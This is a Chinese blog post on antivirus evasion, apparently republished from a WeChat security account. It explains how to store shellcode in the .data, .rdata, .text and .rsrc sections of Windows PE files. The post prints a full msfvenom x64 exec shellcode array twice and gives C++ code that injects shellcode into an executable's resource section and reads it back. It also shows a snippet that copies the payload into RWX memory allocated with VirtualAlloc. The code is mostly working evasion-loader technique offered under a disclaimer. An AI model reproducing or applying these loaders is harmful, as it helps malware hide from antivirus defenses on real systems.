免杀之PE文件中的Shellcode嵌入

admin 2024年11月6日23:04:15评论14 views字数 7295阅读24分19秒阅读模式

前言

在处理基于Shellcode的免杀时,选择适当的存放位置以避免被检测并影响PE文件的整体行为。Shellcode可以存储在PE文件的.data, .rdata, .text, .rsrc等节中,每个节的使用方法和可能的结果有所不同。

简介

在进行基于shellcode的免杀时,需要注意的主要就是对shellcode的处理。除了远程加载shellcode和本地分离加载shellcode之外大部分都还是需要将shellcode放入Loader中进行处理。

所以说shellcode存放位置就尤为重要,通过了解不同的存放位置我们能够更好地理解shellcode如何被执行,如何避免被检测,以及如何影响PE文件的整体行为。对于一些常见的存放位置,比如.text节,通常包含了PE文件的主要执行代码,而shellcode在那里可以直接被执行,但也容易被一些杀软发现。

相反,如果选择一些不常见的存放位置,比如.data节或.rsrc节,那么shellcode可能会更难被检测,但同时也需要采取额外的步骤来正确的执行shellcode。可能需要修改PE文件的控制流,让它在特定的时机跳转到我们的shellcode,或者更改一些权限设置,确保shellcode在执行时能够正确地访问它需要的资源。

shellcode可以存储在以下 PE 部分之一中:

  • .data
  • .rdata
  • .text
  • .rsrc

.data段

在C/C++中保存shellcode一般用的是unsigned char类型属于全局变量,PE文件中的.data段是程序可执行文件的一个部分,用于存储已初始化的全局和静态变量。该段是可读写的。

如下所示是一段未加密的shellcode

#include <Windows.h>
#include <stdio.h>

// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
unsigned char Code[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00";


int main() {

  printf("[+] Code_Base : 0x%p n", Code);
  printf("[!] kkkkkk ...");
  getchar();
  return 0;
}

编译后在xdbg中查看,可以看到.data段起始位置33000

免杀之PE文件中的Shellcode嵌入

shellcode的基地址是.data部分的33040偏移量0x40

免杀之PE文件中的Shellcode嵌入

.rdata段

我们也可以选择不将shellcode放在变量中,可以使用限定符const将载荷放入常量中。这会将信息放入**.rdata**段

这些类型的变量被认为是“只读”数据。这些数据在程序执行期间保持不变,因此将其存储在只读段中有助于保护数据的完整性,并防止对其进行意外修改。某些情况下.data.rdata 部分可能会合并,甚至合并到 .text 部分中。所以我们只需要稍微修改一下上面的代码,增加一个const限定符。

使用xdbg打开找到.rdata段起始位置,再结合程序的输出确认载荷的确在.rdata

免杀之PE文件中的Shellcode嵌入

载荷在.rdata段偏移0x270的位置

免杀之PE文件中的Shellcode嵌入

.text段

如果想要把载荷放入.text段,就不能通过简单的修改变量类型来完成。必须要求编译器将其保存在.text段中,.text节通常包含程序的主要执行代码,因此,杀软可能会更密切地监视这个部分。

如下所示

#include <Windows.h>
#include <stdio.h>

// 告诉编译器创建一个名为".text"的节
#pragma section(".text", read,write,execute)
// 使用__declspec(allocate)将shellcode放入".text"节

__declspec(allocate(".text")) unsigned char Code[]  
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00";

int main() {

  printf("[+] Code_Base : 0x%p n", Code);
  printf("[!] kkkkkk ...");
  getchar();
  return 0;

}

通过xdbg查看段信息,结合程序输出确认载荷在.text段中

免杀之PE文件中的Shellcode嵌入

可以看到FC 48 开头那段正是我们的shellcode

免杀之PE文件中的Shellcode嵌入

.rsrc段

接下来介绍最后一种存放载荷的地方.rsrc段(资源段),该段主要用于存储程序的资源,如图标,菜单等。所以该段就有一个天生的优势,就算出现一些高熵数据也是正常的。

我们可以通过vs手动给程序添加.rsrc段资源,但是真实情况下一般都是通过程序来实现。

下面展示一个从指定位置加载shellcode并存入exe的资源段第100号资源的实现

#include <windows.h>
#include <iostream>

int main() {
    // 你的shellcode文件路径和目标exe文件路径
    const char* shellcodePath = "F:\C++\xx\xx\calc.bin";
    const char* targetExePath = "F:\C++\xx\xxx1\2.exe";

    // 打开shellcode文件
    HANDLE hShellcode = CreateFileA(shellcodePath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hShellcode == INVALID_HANDLE_VALUE) {
        std::cerr << "Error: Could not open shellcode file.n";
        return 1;
    }

    // 获取shellcode的大小,并读取shellcode
    DWORD shellcodeSize = GetFileSize(hShellcode, NULL);
    BYTE* shellcode = new BYTE[shellcodeSize];
    DWORD lpNumberOfBytesRead;
    if (!ReadFile(hShellcode, shellcode, shellcodeSize, &lpNumberOfBytesRead, NULL)) {
        std::cerr << "Error: Could not read shellcode file.n";
        CloseHandle(hShellcode);
        delete[] shellcode;
        return 1;
    }
    CloseHandle(hShellcode);

    // 打开exe文件,并开始更新资源
    HANDLE hResource = BeginUpdateResourceA(targetExePath, FALSE);
    if (hResource == NULL) {
        std::cerr << "Error: Could not open target exe file.n";
        delete[] shellcode;
        return 1;
    }

    // 将shellcode添加为一个资源
    if (!UpdateResource(hResource, RT_RCDATA, MAKEINTRESOURCE(100), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPVOID)shellcode, shellcodeSize)) {
        std::cerr << "Error: Could not update resource.n";
        delete[] shellcode;
        return 1;
    }

    // 完成资源更新
    if (!EndUpdateResourceA(hResource, FALSE)) {
        std::cerr << "Error: Could not end update resource.n";
        delete[] shellcode;
        return 1;
    }

    std::cout << "Shellcode was successfully added to the exe file.n";

    delete[] shellcode;
    return 0;
}


免杀之PE文件中的Shellcode嵌入

通过xdbg查看2.exe的.rsrc段先找到该段的地址00007FF752F3B000

免杀之PE文件中的Shellcode嵌入

在其第偏移量0x100的位置找到了写入的shellcode

免杀之PE文件中的Shellcode嵌入

也可以通过代码实现

#include <windows.h>
#include <iostream>
#include <iomanip> // 用于 std::setw

int main() {
    // 你的目标exe文件路径
    const char* targetExePath = "F:\C++\xx\xxx1\2.exe";

    // 加载模块(在本例中为2.exe文件)
    HMODULE hModule = LoadLibraryExA(targetExePath, NULL, LOAD_LIBRARY_AS_DATAFILE);
    if (hModule == NULL) {
        std::cerr << "Error: Could not load module.n";
        return 1;
    }

    // 找到并加载资源
    HRSRC hResInfo = FindResource(hModule, MAKEINTRESOURCE(100), RT_RCDATA);
    if (hResInfo == NULL) {
        std::cerr << "Error: Could not find resource.n";
        FreeLibrary(hModule);
        return 1;
    }

    HGLOBAL hResData = LoadResource(hModule, hResInfo);
    if (hResData == NULL) {
        std::cerr << "Error: Could not load resource.n";
        FreeLibrary(hModule);
        return 1;
    }

    // 获取资源数据
    void* pData = LockResource(hResData);
    if (pData == NULL) {
        std::cerr << "Error: Could not lock resource.n";
        FreeLibrary(hModule);
        return 1;
    }

    // 输出资源数据的前100个字节(16进制格式)
    std::cout << std::hex << std::setfill('0'); // 设置为16进制输出,用0填充
    for (int i = 0; i < 100; i++) {
        std::cout << std::setw(2) << ((unsigned int)((unsigned char*)pData)[i]) << " ";
    }
    std::cout << "n";

    // 不需要释放资源或者库,因为资源和库会在程序结束时自动释放
    return 0;
}

免杀之PE文件中的Shellcode嵌入

可以看到正是我们的shellcode

但是.rsrc段是只读段,如果我们在读取shellcode的时候进行了加密处理,那么这时候我们不能够直接在资源段中进行修改,需要将shellcode复制出来再进行解密处理,可以使用VirtualAlloc或者使用HeapAlloc来申请地址,然后使用memcpy将有载荷从资源部分移动到申请的地址处 。

// 分配一段可执行的内存,大小和shellcode相同
void* execMem = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

// 将shellcode复制到刚刚分配的内存中
memcpy(execMem, shellcode, sizeof shellcode);
//将shellcode加密
DeCrypt(shellcode, shellcodeSize, key, 128);
printf("[+] pBuffer base : 0x%p n", execMem);

总结

文章主要介绍了在PE文件中嵌入Shellcode以进行免杀操作的方法。文中详细讨论了把Shellcode存储在.data, .rdata, .text, .rsrc等不同节的操作,以及如何实现。以及每种存储方法的优缺点介绍。

之后会进行更多的知识分享,欢迎关注。

免责申明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任。

作者水平有限,如有错误还望指正。

原文始发于微信公众号(纯爱安全):免杀之PE文件中的Shellcode嵌入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月6日23:04:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀之PE文件中的Shellcode嵌入http://cn-sec.com/archives/2493098.html

发表评论

匿名网友 填写信息